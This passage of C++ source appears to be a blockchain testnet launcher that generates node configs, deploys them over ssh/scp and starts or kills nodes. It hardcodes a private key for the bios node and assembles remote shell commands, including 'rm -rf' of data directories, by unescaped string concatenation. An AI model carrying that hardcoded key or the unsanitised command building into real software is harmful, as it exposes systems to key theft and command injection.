bfs::ofstream df ("testnet.dot"); df << "digraph G\n{\nlayout=\"circo\";\n"; for (auto &node : network.nodes) { for (const auto &p : node.second.peers) { string pname=network.nodes.find(p)->second.instance->dot_label(); df << "\"" << node.second.instance->dot_label () << "\"->\"" << pname << "\" [dir=\"forward\"];" << std::endl; } } df << "}\n"; } void launcher_def::define_network () { if (per_host == 0) { host_def local_host; local_host.eosio_home = erd; local_host.genesis = genesis.string(); for (size_t i = 0; i < (total_nodes); i++) { eosd_def eosd; assign_name(eosd, i == 0); aliases.push_back(eosd.name); eosd.set_host (&local_host, i == 0); local_host.instances.emplace_back(move(eosd)); } bindings.emplace_back(move(local_host)); } else { int ph_count = 0; host_def *lhost = nullptr; size_t host_ndx = 0; size_t num_prod_addr = servers.producer.size(); size_t num_nonprod_addr = servers.nonprod.size(); for (size_t i = total_nodes; i > 0; i--) { bool do_bios = false; if (ph_count == 0) { if (lhost) { bindings.emplace_back(move(*lhost)); delete lhost; } lhost = new host_def; lhost->genesis = genesis.string(); if (host_ndx < num_prod_addr ) { do_bios = servers.producer[host_ndx].has_bios; lhost->host_name = servers.producer[host_ndx].ipaddr; lhost->public_name = servers.producer[host_ndx].name; ph_count = servers.producer[host_ndx].instances; } else if (host_ndx - num_prod_addr < num_nonprod_addr) { size_t ondx = host_ndx - num_prod_addr; do_bios = servers.nonprod[ondx].has_bios; lhost->host_name = servers.nonprod[ondx].ipaddr; lhost->public_name = servers.nonprod[ondx].name; ph_count = servers.nonprod[ondx].instances; } else { string ext = host_ndx < 10 ? "0" : ""; ext += boost::lexical_cast<string,int>(host_ndx); lhost->host_name = "pseudo_" + ext; lhost->public_name = lhost->host_name; ph_count = 1; } lhost->eosio_home = (local_id.contains (lhost->host_name) || servers.default_eosio_home.empty()) ? erd : servers.default_eosio_home; host_ndx++; } // ph_count == 0 eosd_def eosd; assign_name(eosd, do_bios); eosd.has_db = false; if (servers.db.size()) { for (auto &dbn : servers.db) { if (lhost->host_name == dbn) { eosd.has_db = true; break; } } } aliases.push_back(eosd.name); eosd.set_host (lhost, do_bios); do_bios = false; lhost->instances.emplace_back(move(eosd)); --ph_count; } // for i bindings.emplace_back( move(*lhost) ); delete lhost; } } void launcher_def::bind_nodes () { if (prod_nodes < 2) { cerr << "Unable to allocate producers due to insufficient prod_nodes = " << prod_nodes << "\n"; exit (10); } int non_bios = prod_nodes - 1; int per_node = producers / non_bios; int extra = producers % non_bios; unsigned int i = 0; for (auto &h : bindings) { for (auto &inst : h.instances) { bool is_bios = inst.name == "bios"; tn_node_def node; node.name = inst.name; node.instance = &inst; auto kp = is_bios ? private_key_type(string("5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3")) : private_key_type::generate(); auto pubkey = kp.get_public_key(); node.keys.emplace_back (move(kp)); if (is_bios) { string prodname = "eosio"; node.producers.push_back(prodname); producer_set.schedule.push_back({prodname,pubkey}); } else { if (i < non_bios) { int count = per_node; if (extra ) { ++count; --extra; } char ext = 'a' + i; string pname = "defproducer"; while (count--) { string prodname = pname+ext; node.producers.push_back(prodname); producer_set.schedule.push_back({prodname,pubkey}); ext += non_bios; } } } node.gelf_endpoint = gelf_endpoint; network.nodes[node.name] = move(node); inst.node = &network.nodes[inst.name]; if (!is_bios) i++; } } } host_def * launcher_def::find_host (const string &name) { host_def *host = nullptr; for (auto &h : bindings) { if (h.host_name == name) { host = &h; break; } } if (host == 0) { cerr << "could not find host for " << name << endl; exit(-1); } return host; } host_def * launcher_def::find_host_by_name_or_address (const string &host_id) { host_def *host = nullptr; for (auto &h : bindings) { if ((h.host_name == host_id) || (h.public_name == host_id)) { host = &h; break; } } if (host == 0) { cerr << "could not find host for " << host_id << endl; exit(-1); } return host; } host_def * launcher_def::deploy_config_files (tn_node_def &node) { boost::system::error_code ec; eosd_def &instance = *node.instance; host_def *host = find_host (instance.host); bfs::path source = stage / instance.config_dir_name / "config.ini"; bfs::path logging_source = stage / instance.config_dir_name / "logging.json"; bfs::path genesis_source = stage / instance.config_dir_name / "genesis.json"; if (host->is_local()) { bfs::path cfgdir = bfs::path(host->eosio_home) / instance.config_dir_name; bfs::path dd = bfs::path(host->eosio_home) / instance.data_dir_name; if (!bfs::exists (cfgdir)) { if (!bfs::create_directories (cfgdir, ec) && ec.value()) { cerr << "could not create new directory: " << instance.config_dir_name << " errno " << ec.value() << " " << strerror(ec.value()) << endl; exit (-1); } } else if (bfs::exists (cfgdir / "config.ini") && !force_overwrite) { cerr << cfgdir / "config.ini" << " exists. Use -f|--force to overwrite configuration\n"; exit (-1); } if (!bfs::exists (dd)) { if (!bfs::create_directories (dd, ec) && ec.value()) { cerr << "could not create new directory: " << instance.config_dir_name << " errno " << ec.value() << " " << strerror(ec.value()) << endl; exit (-1); } } else if (force_overwrite) { int64_t count = bfs::remove_all (dd / block_dir, ec); if (ec.value() != 0) { cerr << "count = " << count << " could not remove old directory: " << dd << " " << strerror(ec.value()) << endl; exit (-1); } count = bfs::remove_all (dd / shared_mem_dir, ec); if (ec.value() != 0) { cerr << "count = " << count << " could not remove old directory: " << dd << " " << strerror(ec.value()) << endl; exit (-1); } } else if (bfs::exists (dd/ block_dir) || bfs::exists (dd / shared_mem_dir)) { cerr << "either " << block_dir << " or " << shared_mem_dir << " exist in \n"; cerr << dd << ". Use -f|--force to erase blockchain data" << endl; exit (-1); } bfs::copy_file (genesis_source, cfgdir / "genesis.json", bfs::copy_option::overwrite_if_exists); bfs::copy_file (logging_source, cfgdir / "logging.json", bfs::copy_option::overwrite_if_exists); bfs::copy_file (source, cfgdir / "config.ini", bfs::copy_option::overwrite_if_exists); } else { prep_remote_config_dir (instance, host); bfs::path rfile = bfs::path (host->eosio_home) / instance.config_dir_name / "config.ini"; auto scp_cmd_line = compose_scp_command(*host, source, rfile); cerr << "cmdline = " << scp_cmd_line << endl; int res = boost::process::system (scp_cmd_line); if (res != 0) { cerr << "unable to scp config file to host " << host->host_name << endl; exit(-1); } rfile = bfs::path (host->eosio_home) / instance.config_dir_name / "logging.json"; scp_cmd_line = compose_scp_command(*host, logging_source, rfile); res = boost::process::system (scp_cmd_line); if (res != 0) { cerr << "unable to scp logging config file to host " << host->host_name << endl; exit(-1); } rfile = bfs::path (host->eosio_home) / instance.config_dir_name / "genesis.json"; scp_cmd_line = compose_scp_command(*host, genesis_source, rfile); res = boost::process::system (scp_cmd_line); if (res != 0) { cerr << "unable to scp genesis.json file to host " << host->host_name << endl; exit(-1); } } return host; } string launcher_def::compose_scp_command (const host_def& host, const bfs::path& source, const bfs::path& destination) { string scp_cmd_line = network.ssh_helper.scp_cmd + " "; const string &args = host.ssh_args.length() ? host.ssh_args : network.ssh_helper.ssh_args; if (args.length()) { scp_cmd_line += args + " "; } scp_cmd_line += source.string() + " "; const string &uid = host.ssh_identity.length() ? host.ssh_identity : network.ssh_helper.ssh_identity; if (uid.length()) { scp_cmd_line += uid + "@"; } scp_cmd_line += host.host_name + ":" + destination.string(); return scp_cmd_line; } void launcher_def::write_config_file (tn_node_def &node) { bool is_bios = (node.name == "bios"); bfs::path filename; eosd_def &instance = *node.instance; host_def *host = find_host (instance.host); bfs::path dd = stage / instance.config_dir_name; if (!bfs::exists(dd)) { try { bfs::create_directories (dd); } catch (const bfs::filesystem_error &ex) { cerr << "write_config_files threw " << ex.what() << endl; exit (-1); } } filename = dd / "config.ini"; bfs::ofstream cfg(filename); if (!cfg.good()) { cerr << "unable to open " << filename << " " << strerror(errno) << "\n"; exit (-1); } cfg << "genesis-json = " << host->genesis << "\n"; cfg << "blocks-dir = " << block_dir << "\n"; cfg << "readonly = 0\n"; cfg << "send-whole-blocks = true\n"; cfg << "http-server-address = " << host->host_name << ":" << instance.http_port << "\n"; cfg << "p2p-listen-endpoint = " << host->listen_addr << ":" << instance.p2p_port << "\n"; cfg << "p2p-server-address = " << host->public_name << ":" << instance.p2p_port << "\n"; if (is_bios) { cfg << "enable-stale-production = true\n"; } if (allowed_connections & PC_ANY) { cfg << "allowed-connection = any\n"; } else if (allowed_connections == PC_NONE) { cfg << "allowed-connection = none\n"; } else { if (allowed_connections & PC_PRODUCERS) { cfg << "allowed-connection = producers\n"; } if (allowed_connections & PC_SPECIFIED) { cfg << "allowed-connection = specified\n"; cfg << "peer-key = \"" << string(node.keys.begin()->get_public_key()) << "\"\n"; cfg << "peer-private-key = [\"" << string(node.keys.begin()->get_public_key()) << "\",\"" << string(*node.keys.begin()) << "\"]\n"; } } if(!is_bios) { auto &bios_node = network.nodes["bios"]; cfg << "p2p-peer-address = " << bios_node.instance->p2p_endpoint<< "\n"; } for (const auto &p : node.peers) { cfg << "p2p-peer-address = " << network.nodes.find(p)->second.instance->p2p_endpoint << "\n"; } if (instance.has_db || node.producers.size()) { cfg << "required-participation = 33\n"; for (const auto &kp : node.keys ) { cfg << "private-key = [\"" << string(kp.get_public_key()) << "\",\"" << string(kp) << "\"]\n"; } for (auto &p : node.producers) { cfg << "producer-name = " << p << "\n"; } cfg << "plugin = eosio::producer_plugin\n"; } if( instance.has_db ) { cfg << "plugin = eosio::mongo_db_plugin\n"; } cfg << "plugin = eosio::chain_api_plugin\n" << "plugin = eosio::history_api_plugin\n"; cfg.close(); } void launcher_def::write_logging_config_file(tn_node_def &node) { bfs::path filename; eosd_def &instance = *node.instance; bfs::path dd = stage / instance.config_dir_name; if (!bfs::exists(dd)) { bfs::create_directories(dd); } filename = dd / "logging.json"; bfs::ofstream cfg(filename); if (!cfg.good()) { cerr << "unable to open " << filename << " " << strerror(errno) << "\n"; exit (9); } auto log_config = fc::logging_config::default_config(); if(gelf_enabled) { log_config.appenders.push_back( fc::appender_config( "net", "gelf", fc::mutable_variant_object() ( "endpoint", node.gelf_endpoint ) ( "host", instance.name ) ) ); log_config.loggers.front().appenders.push_back("net"); fc::logger_config p2p ("net_plugin_impl"); p2p.level=fc::log_level::debug; p2p.appenders.push_back ("stderr"); p2p.appenders.push_back ("net"); log_config.loggers.emplace_back(p2p); } auto str = fc::json::to_pretty_string( log_config, fc::json::stringify_large_ints_and_doubles ); cfg.write( str.c_str(), str.size() ); cfg.close(); } void launcher_def::init_genesis () { bfs::path genesis_path = bfs::current_path() / "genesis.json"; bfs::ifstream src(genesis_path); if (!src.good()) { cout << "generating default genesis file " << genesis_path << endl; eosio::chain::genesis_state default_genesis; fc::json::save_to_file( default_genesis, genesis_path, true ); src.open(genesis_path); } string bioskey = string(network.nodes["bios"].keys[0].get_public_key()); string str; string prefix("initial_key"); while(getline(src,str)) { size_t pos = str.find(prefix); if (pos != string::npos) { size_t cut = str.find("EOS",pos); genesis_block.push_back(str.substr(0,cut) + bioskey + "\","); } else { genesis_block.push_back(str); } } } void launcher_def::write_genesis_file(tn_node_def &node) { bfs::path filename; eosd_def &instance = *node.instance; bfs::path dd = stage / instance.config_dir_name; if (!bfs::exists(dd)) { bfs::create_directories(dd); } filename = dd / "genesis.json"; bfs::ofstream gf ( dd / "genesis.json"); for (auto &line : genesis_block) { gf << line << "\n"; } } void launcher_def::write_setprods_file() { bfs::path filename = bfs::current_path() / "setprods.json"; bfs::ofstream psfile (filename); if(!psfile.good()) { cerr << "unable to open " << filename << " " << strerror(errno) << "\n"; exit (9); } producer_set_def no_bios; for (auto &p : producer_set.schedule) { if (p.producer_name != "eosio") no_bios.schedule.push_back(p); } auto str = fc::json::to_pretty_string( no_bios, fc::json::stringify_large_ints_and_doubles ); psfile.write( str.c_str(), str.size() ); psfile.close(); } void launcher_def::write_bios_boot () { bfs::ifstream src(bfs::path(config_dir_base) / "launcher" / start_temp); if(!src.good()) { cerr << "unable to open " << config_dir_base << "launcher/" << start_temp << " " << strerror(errno) << "\n"; exit (9); } bfs::ofstream brb (bfs::current_path() / start_script); if(!brb.good()) { cerr << "unable to open " << bfs::current_path() << "/" << start_script << " " << strerror(errno) << "\n"; exit (9); } auto &bios_node = network.nodes["bios"]; uint16_t biosport = bios_node.instance->http_port; string bhost = bios_node.instance->host; string line; string prefix = "###INSERT "; size_t len = prefix.length(); while (getline(src,line)) { if (line.substr(0,len) == prefix) { string key = line.substr(len); if (key == "envars") { brb << "bioshost=" << bhost << "\nbiosport=" << biosport << "\n"; } else if (key == "prodkeys" ) { for (auto &node : network.nodes) { brb << "wcmd import -n ignition " << string(node.second.keys[0]) << "\n"; } } else if (key == "cacmd") { for (auto &p : producer_set.schedule) { if (p.producer_name == "eosio") { continue; } brb << "cacmd " << p.producer_name << " " << string(p.block_signing_key) << " " << string(p.block_signing_key) << "\n"; } } } brb << line << "\n"; } src.close(); brb.close(); } bool launcher_def::is_bios_ndx (size_t ndx) { return aliases[ndx] == "bios"; } size_t launcher_def::start_ndx() { return is_bios_ndx(0) ? 1 : 0; } bool launcher_def::next_ndx(size_t &ndx) { ++ndx; bool loop = ndx == total_nodes; if (loop) ndx = start_ndx(); else if (is_bios_ndx(ndx)) { loop = next_ndx(ndx); } return loop; } size_t launcher_def::skip_ndx (size_t from, size_t offset) { size_t ndx = (from + offset) % total_nodes; if (total_nodes > 2) { size_t attempts = total_nodes - 1; while (--attempts && (is_bios_ndx(ndx) || ndx == from)) { next_ndx(ndx); } } return ndx; } void launcher_def::make_ring () { bind_nodes(); size_t non_bios = total_nodes - 1; if (non_bios > 2) { bool loop = false; for (size_t i = start_ndx(); !loop; loop = next_ndx(i)) { size_t front = i; loop = next_ndx (front); network.nodes.find(aliases[i])->second.peers.push_back (aliases[front]); } } else if (non_bios == 2) { size_t n0 = start_ndx(); size_t n1 = n0; next_ndx(n1); network.nodes.find(aliases[n0])->second.peers.push_back (aliases[n1]); network.nodes.find(aliases[n1])->second.peers.push_back (aliases[n0]); } } void launcher_def::make_star () { size_t non_bios = total_nodes - 1; if (non_bios < 4) { make_ring (); return; } bind_nodes(); size_t links = 3; if (non_bios > 12) { links = static_cast<size_t>(sqrt(non_bios)) + 2; } size_t gap = non_bios > 6 ? 3 : (non_bios - links)/2 +1; while (non_bios % gap == 0) { ++gap; } // use to prevent duplicates since all connections are bidirectional std::map <string, std::set<string>> peers_to_from; bool loop = false; for (size_t i = start_ndx(); !loop; loop = next_ndx(i)) { const auto& iter = network.nodes.find(aliases[i]); auto &current = iter->second; const auto& current_name = iter->first; size_t ndx = i; for (size_t l = 1; l <= links; l++) { ndx = skip_ndx(ndx, l * gap); auto &peer = aliases[ndx]; for (bool found = true; found; ) { found = false; for (auto &p : current.peers) { if (p == peer) { next_ndx(ndx); if (ndx == i) { next_ndx(ndx); } peer = aliases[ndx]; found = true; break; } } } // if already established, don't add to list if (peers_to_from[peer].count(current_name) < 2) { current.peers.push_back(peer); // current_name -> peer // keep track of bidirectional relationships to prevent duplicates peers_to_from[current_name].insert(peer); } } } } void launcher_def::make_mesh () { size_t non_bios = total_nodes - 1; bind_nodes(); // use to prevent duplicates since all connections are bidirectional std::map <string, std::set<string>> peers_to_from; bool loop = false; for (size_t i = start_ndx();!loop; loop = next_ndx(i)) { const auto& iter = network.nodes.find(aliases[i]); auto &current = iter->second; const auto& current_name = iter->first; for (size_t j = 1; j < non_bios; j++) { size_t ndx = skip_ndx(i,j); const auto& peer = aliases[ndx]; // if already established, don't add to list if (peers_to_from[peer].count(current_name) < 2) { current.peers.push_back (peer); // keep track of bidirectional relationships to prevent duplicates peers_to_from[current_name].insert(peer); } } } } void launcher_def::make_custom () { bfs::path source = shape; fc::json::from_file(source).as<testnet_def>(network); for (auto &h : bindings) { for (auto &inst : h.instances) { tn_node_def *node = &network.nodes[inst.name]; for (auto &p : node->producers) { producer_set.schedule.push_back({p,node->keys[0].get_public_key()}); } node->instance = &inst; inst.node = node; } } } void launcher_def::format_ssh (const string &cmd, const string &host_name, string & ssh_cmd_line) { ssh_cmd_line = network.ssh_helper.ssh_cmd + " "; if (network.ssh_helper.ssh_args.length()) { ssh_cmd_line += network.ssh_helper.ssh_args + " "; } if (network.ssh_helper.ssh_identity.length()) { ssh_cmd_line += network.ssh_helper.ssh_identity + "@"; } ssh_cmd_line += host_name + " \"" + cmd + "\""; cerr << "cmdline = " << ssh_cmd_line << endl; } bool launcher_def::do_ssh (const string &cmd, const string &host_name) { string ssh_cmd_line; format_ssh (cmd, host_name, ssh_cmd_line); int res = boost::process::system (ssh_cmd_line); return (res == 0); } void launcher_def::prep_remote_config_dir (eosd_def &node, host_def *host) { bfs::path abs_config_dir = bfs::path(host->eosio_home) / node.config_dir_name; bfs::path abs_data_dir = bfs::path(host->eosio_home) / node.data_dir_name; string acd = abs_config_dir.string(); string add = abs_data_dir.string(); string cmd = "cd " + host->eosio_home; cmd = "cd " + host->eosio_home; if (!do_ssh(cmd, host->host_name)) { cerr << "Unable to switch to path " << host->eosio_home << " on host " << host->host_name << endl; exit (-1); } cmd = "cd " + acd; if (!do_ssh(cmd,host->host_name)) { cmd = "mkdir -p " + acd; if (!do_ssh (cmd, host->host_name)) { cerr << "Unable to invoke " << cmd << " on host " << host->host_name << endl; exit (01); } } cmd = "cd " + add; if (do_ssh(cmd,host->host_name)) { if(force_overwrite) { cmd = "rm -rf " + add + "/" + block_dir + " ;" + "rm -rf " + add + "/" + shared_mem_dir; if (!do_ssh (cmd, host->host_name)) { cerr << "Unable to remove old data directories on host " << host->host_name << endl; exit (-1); } } else { cerr << add << " already exists on host " << host->host_name << ". Use -f/--force to overwrite configuration and erase blockchain" << endl; exit (-1); } } else { cmd = "mkdir -p " + add; if (!do_ssh (cmd, host->host_name)) { cerr << "Unable to invoke " << cmd << " on host " << host->host_name << endl; exit (-1); } } } void launcher_def::launch (eosd_def &instance, string &gts) { bfs::path dd = instance.data_dir_name; bfs::path reout = dd / "stdout.txt"; bfs::path reerr_sl = dd / "stderr.txt"; bfs::path reerr_base = bfs::path("stderr." + launch_time + ".txt"); bfs::path reerr = dd / reerr_base; bfs::path pidf = dd / "nodeos.pid"; host_def* host; try { host = deploy_config_files (*instance.node); } catch (const bfs::filesystem_error &ex) { cerr << "deploy_config_files threw " << ex.what() << endl; exit (-1); } node_rt_info info; info.remote = !host->is_local(); string eosdcmd = "programs/nodeos/nodeos "; if (skip_transaction_signatures) { eosdcmd += "--skip-transaction-signatures "; } if (!eosd_extra_args.empty()) { if (instance.name == "bios") { // Strip the mongo-related options out of the bios node so // the plugins don't conflict between 00 and bios. regex r("--plugin +eosio::mongo_db_plugin"); string args = std::regex_replace (eosd_extra_args,r,""); regex r2("--mongodb-uri +[^ ]+"); args = std::regex_replace (args,r2,""); eosdcmd += args + " "; } else { eosdcmd += eosd_extra_args + " "; } } if( add_enable_stale_production ) { eosdcmd += "--enable-stale-production true "; add_enable_stale_production = false; } eosdcmd += " --config-dir " + instance.config_dir_name + " --data-dir " + instance.data_dir_name; if (gts.length()) { eosdcmd += " --genesis-timestamp " + gts; } if (!host->is_local()) { string cmdl ("cd "); cmdl += host->eosio_home + "; nohup " + eosdcmd + " > " + reout.string() + " 2> " + reerr.string() + "& echo $! > " + pidf.string() + "; rm -f " + reerr_sl.string() + "; ln -s " + reerr_base.string() + " " + reerr_sl.string(); if (!do_ssh (cmdl, host->host_name)){ cerr << "Unable to invoke " << cmdl << " on host " << host->host_name << endl; exit (-1); } string cmd = "cd " + host->eosio_home + "; kill -15 $(cat " + pidf.string() + ")"; format_ssh (cmd, host->host_name, info.kill_cmd); } else { cerr << "spawning child, " << eosdcmd << endl; bp::child c(eosdcmd, bp::std_out > reout, bp::std_err > reerr ); bfs::remove(reerr_sl); bfs::create_symlink (reerr_base, reerr_sl); bfs::ofstream pidout (pidf); pidout << c.id() << flush; pidout.close(); info.pid_file = pidf.string(); info.kill_cmd = ""; if(!c.running()) { cerr << "child not running after spawn " << eosdcmd << endl; for (int i = 0; i > 0; i++) { if (c.running () ) break; } } c.detach(); } last_run.running_nodes.emplace_back (move(info)); } #if 0 void launcher_def::kill_instance(eosd_def, string sig_opt) { } #endif void launcher_def::kill (launch_modes mode, string sig_opt) { switch (mode) { case LM_NONE: return; case LM_VERIFY: // no-op return; case LM_NAMED: { cerr << "feature not yet implemented " << endl; #if 0 auto node = network.nodes.find(launch_name); kill_instance (node.second.instance, sig_opt); #endif break; } case LM_ALL: case LM_LOCAL: case LM_REMOTE : { bfs::path source = "last_run.json"; fc::json::from_file(source).as<last_run_def>(last_run); for (auto &info : last_run.running_nodes) { if (mode == LM_ALL || (info.remote && mode == LM_REMOTE) || (!info.remote && mode == LM_LOCAL)) { if (info.pid_file.length()) { string pid; fc::json::from_file(info.pid_file).as<string>(pid); string kill_cmd = "kill " + sig_opt + " " + pid; boost::process::system (kill_cmd); } else { boost::process::system (info.kill_cmd); } } } } } } pair<host_def, eosd_def> launcher_def::find_node(uint16_t node_num) { string dex = node_num < 10 ? "0":""; dex += boost::lexical_cast<string,uint16_t>(node_num); string node_name = network.name + dex; for (const auto& host: bindings) { for (const auto& node: host.instances) { if (node_name == node.name) { return make_pair(host, node); } } } cerr << "Unable to find node " << node_num << endl; exit (-1); } vector<pair<host_def, eosd_def>> launcher_def::get_nodes(const string& node_number_list) { vector<pair<host_def, eosd_def>> node_list; if (fc::to_lower(node_number_list) == "all") { for (auto host: bindings) { for (auto node: host.instances) { cout << "host=" << host.host_name << ", node=" << node.name << endl; node_list.push_back(make_pair(host, node)); } } } else { vector<string> nodes; boost::split(nodes, node_number_list, boost::is_any_of(",")); for (string node_number: nodes) { uint16_t node = -1; try { node = boost::lexical_cast<uint16_t,string>(node_number); } catch(boost::bad_lexical_cast &) { // This exception will be handled below } if (node < 0 || node > 99) { cerr << "Bad node number found in node number list: " << node_number << endl; exit(-1); } node_list.push_back(find_node(node)); } } return node_list; } void launcher_def::bounce (const string& node_numbers) { auto node_list = get_nodes(node_numbers); for (auto node_pair: node_list) { const host_def& host = node_pair.first; const eosd_def& node = node_pair.second; string node_num = node.name.substr( node.name.length() - 2 ); string cmd = "cd " + host.eosio_home + "; " + "export EOSIO_HOME=" + host.eosio_home + string("; ") + "export EOSIO_TN_NODE=" + node_num + "; " + "./scripts/eosio-tn_bounce.sh"; cout << "Bouncing " << node.name << endl; if (!do_ssh(cmd, host.host_name)) { cerr << "Unable to bounce " << node.name << endl; exit (-1); } } } void launcher_def::down (const string& node_numbers) { auto node_list = get_nodes(node_numbers); for (auto node_pair: node_list) { const host_def& host = node_pair.first; const eosd_def& node = node_pair.second; string node_num = node.name.substr( node.name.length() - 2 ); string cmd = "cd " + host.eosio_home + "; " + "export EOSIO_HOME=" + host.eosio_home + "; " + "export EOSIO_TN_NODE=" + node_num + "; " + "export EOSIO_TN_RESTART_CONFIG_DIR=" + node.config_dir_name + "; " + "./scripts/eosio-tn_down.sh"; cout << "Taking down " << node.name << endl; if (!do_ssh(cmd, host.host_name)) { cerr << "Unable to down " << node.name << endl; exit (-1); } } } void launcher_def::roll (const string& host_names) { vector<string> hosts; boost::split(hosts, host_names, boost::is_any_of(",")); for (string host_name: hosts) { cout << "Rolling " << host_name << endl; auto host = find_host_by_name_or_address(host_name); string cmd = "cd " + host->eosio_home + "; " + "export EOSIO_HOME=" + host->eosio_home + "; " + "./scripts/eosio-tn_roll.sh"; if (!do_ssh(cmd, host_name)) { cerr << "Unable to roll " << host << endl; exit (-1); } } } void launcher_def::ignite() { if (boot) { cerr << "Invoking the blockchain boot script, " << start_script << "\n"; string script("bash " + start_script); bp::child c(script); try { boost::system::error_code ec; cerr << "waiting for script completion\n"; c.wait(); } catch (bfs::filesystem_error &ex) { cerr << "wait threw error " << ex.what() << "\n"; } catch (...) { // when script dies wait throws an exception but that is ok } } else { cerr << "**********************************************************************\n" << "run 'bash " << start_script << "' to kick off delegated block production\n" << "**********************************************************************\n"; } } void launcher_def::start_all (string &gts, launch_modes mode) { switch (mode) { case LM_NONE: return; case LM_VERIFY: //validate configuration, report findings, exit return; case LM_NAMED : { try { add_enable_stale_production = false; auto node = network.nodes.find(launch_name); launch(*node->second.instance, gts); } catch (fc::exception& fce) { cerr << "unable to launch " << launch_name << " fc::exception=" << fce.to_detail_string() << endl; } catch (std::exception& stde) { cerr << "unable to launch " << launch_name << " std::exception=" << stde.what() << endl; } catch (...) { cerr << "Unable to launch " << launch_name << endl; exit (-1); } break; } case LM_ALL: case LM_REMOTE: case LM_LOCAL: { for (auto &h : bindings ) { if (mode == LM_ALL || (h.is_local() ? mode == LM_LOCAL : mode == LM_REMOTE)) { for (auto &inst : h.instances) { try { cerr << "launching " << inst.name << endl; launch (inst, gts); } catch (fc::exception& fce) { cerr << "unable to launch " << inst.name << " fc::exception=" << fce.to_detail_string() << endl; } catch (std::exception& stde) { cerr << "unable to launch " << inst.name << " std::exception=" << stde.what() << endl; } catch (...) { cerr << "unable to launch " << inst.name << endl; } sleep (start_delay); } } } break; } } bfs::path savefile = "last_run.json"; bfs::ofstream sf (savefile); sf << fc::json::to_pretty_string (last_run) << endl; sf.close(); } //------------------------------------------------------------ void write_default_config(const bfs::path& cfg_file, const options_description &cfg ) { bfs::path parent = cfg_file.parent_path(); if (parent.empty()) { parent = "."; } if(!bfs::exists(parent)) { try { bfs::create_directories(parent); } catch (bfs::filesystem_error &ex) { cerr << "could not create new directory: " << cfg_file.parent_path() << " caught " << ex.what() << endl; exit (-1); } } std::ofstream out_cfg( bfs::path(cfg_file).make_preferred().string()); for(const boost::shared_ptr<bpo::option_description> od : cfg.options()) { if(!od->description().empty()) { out_cfg << "# " << od->description() << std::endl; } boost::any store; if(!od->semantic()->apply_default(store)) out_cfg << "# " << od->long_name() << " = " << std::endl; else { auto example = od->format_parameter(); if(example.empty()) // This is a boolean switch out_cfg << od->long_name() << " = " << "false" << std::endl; else { // The string is formatted "arg (=<interesting part>)" example.erase(0, 6); example.erase(example.length()-1); out_cfg << od->long_name() << " = " << example << std::endl; } } out_cfg << std::endl; } out_cfg.close(); } int main (int argc, char *argv[]) { variables_map vmap; options_description cfg ("Testnet launcher config options"); options_description cli ("launcher command line options"); launcher_def top; string gts; launch_modes mode; string kill_arg; string bounce_nodes; string down_nodes; string roll_nodes; bfs::path config_dir; bfs::path config_file; local_id.initialize(); top.set_options(cfg); cli.add_options() ("timestamp,i",bpo::value<string>(&gts),"set the timestamp for the first block. Use \"now\" to indicate the current time") ("launch,l",bpo::value<string>(), "select a subset of nodes to launch. Currently may be \"all\", \"none\", or \"local\". If not set, the default is to launch all unless an output file is named, in which case it starts none.") ("output,o",bpo::value<bfs::path>(&top.output),"save a copy of the generated topology in this file") ("kill,k", bpo::value<string>(&kill_arg),"The launcher retrieves the previously started process ids and issues a kill to each.") ("down", bpo::value<string>(&down_nodes),"comma-separated list of node numbers that will be taken down using the eosio-tn_down.sh script") ("bounce", bpo::value<string>(&bounce_nodes),"comma-separated list of node numbers that will be restarted using the eosio-tn_bounce.sh script") ("roll", bpo::value<string>(&roll_nodes),"comma-separated list of host names where the nodes should be rolled to a new version using the eosio-tn_roll.sh script") ("version,v", "print version information") ("help,h","print this list") ("config-dir", bpo::value<bfs::path>(), "Directory containing configuration files such as config.ini") ("config,c", bpo::value<bfs::path>()->default_value( "config.ini" ), "Configuration file name relative to config-dir"); cli.add(cfg); try { bpo::store(bpo::parse_command_line(argc, argv, cli), vmap); bpo::notify(vmap); top.initialize(vmap); if (vmap.count("help") > 0) { cli.print(cerr); return 0; } if (vmap.count("version") > 0) { cout << eosio::launcher::config::version_str << endl; return 0; } if( vmap.count( "config-dir" ) ) { config_dir = vmap["config-dir"].as<bfs::path>(); if( config_dir.is_relative() ) config_dir = bfs::current_path() / config_dir; } bfs::path config_file_name = config_dir / "config.ini"; if( vmap.count( "config" ) ) { config_file_name = vmap["config"].as<bfs::path>(); if( config_file_name.is_relative() ) config_file_name = config_dir / config_file_name; } if(!bfs::exists(config_file_name)) { if(config_file_name.compare(config_dir / "config.ini") != 0) { cout << "Config file " << config_file_name << " missing." << std::endl; return -1; } write_default_config(config_file_name, cfg); } bpo::store(bpo::parse_config_file<char>(config_file_name.make_preferred().string().c_str(), cfg, true), vmap); if (vmap.count("launch")) { string l = vmap["launch"].as<string>(); if (boost::iequals(l,"all")) mode = LM_ALL; else if (boost::iequals(l,"local")) mode = LM_LOCAL; else if (boost::iequals(l,"remote")) mode = LM_REMOTE; else if (boost::iequals(l,"none")) mode = LM_NONE; else if (boost::iequals(l,"verify")) mode = LM_VERIFY; else { mode = LM_NAMED; top.launch_name = l; } } else { mode = !kill_arg.empty() || top.output.empty() ? LM_ALL : LM_NONE; } if (!kill_arg.empty()) { cout << "killing" << std::endl; if (kill_arg[0] != '-') { kill_arg = "-" + kill_arg; } top.kill (mode, kill_arg); } else if (!bounce_nodes.empty()) { top.bounce(bounce_nodes); } else if (!down_nodes.empty()) { top.down(down_nodes); } else if (!roll_nodes.empty()) { top.roll(roll_nodes); } else { top.generate(); top.start_all(gts, mode); top.ignite(); } } catch (bpo::unknown_option &ex) { cerr << ex.what() << endl; cli.print (cerr); } return 0; } //------------------------------------------------------------- FC_REFLECT( remote_deploy, (ssh_cmd)(scp_cmd)(ssh_identity)(ssh_args) ) FC_REFLECT( prodkey_def, (producer_name)(block_signing_key)) FC_REFLECT( producer_set_def, (schedule)) FC_REFLECT( host_def, (genesis)(ssh_identity)(ssh_args)(eosio_home) (host_name)(public_name) (base_p2p_port)(base_http_port)(def_file_size) (instances) ) FC_REFLECT( eosd_def, (name)(config_dir_name)(data_dir_name)(has_db) (p2p_port)(http_port)(file_size) ) FC_REFLECT( tn_node_def, (name)(keys)(peers)(producers) ) FC_REFLECT( testnet_def, (name)(ssh_helper)(nodes) ) FC_REFLECT( server_name_def, (ipaddr) (name) (has_bios) (eosio_home) (instances) ) FC_REFLECT( server_identities, (producer) (nonprod) (db) (default_eosio_home) (ssh) ) FC_REFLECT( node_rt_info, (remote)(pid_file)(kill_cmd) ) FC_REFLECT( last_run_def, 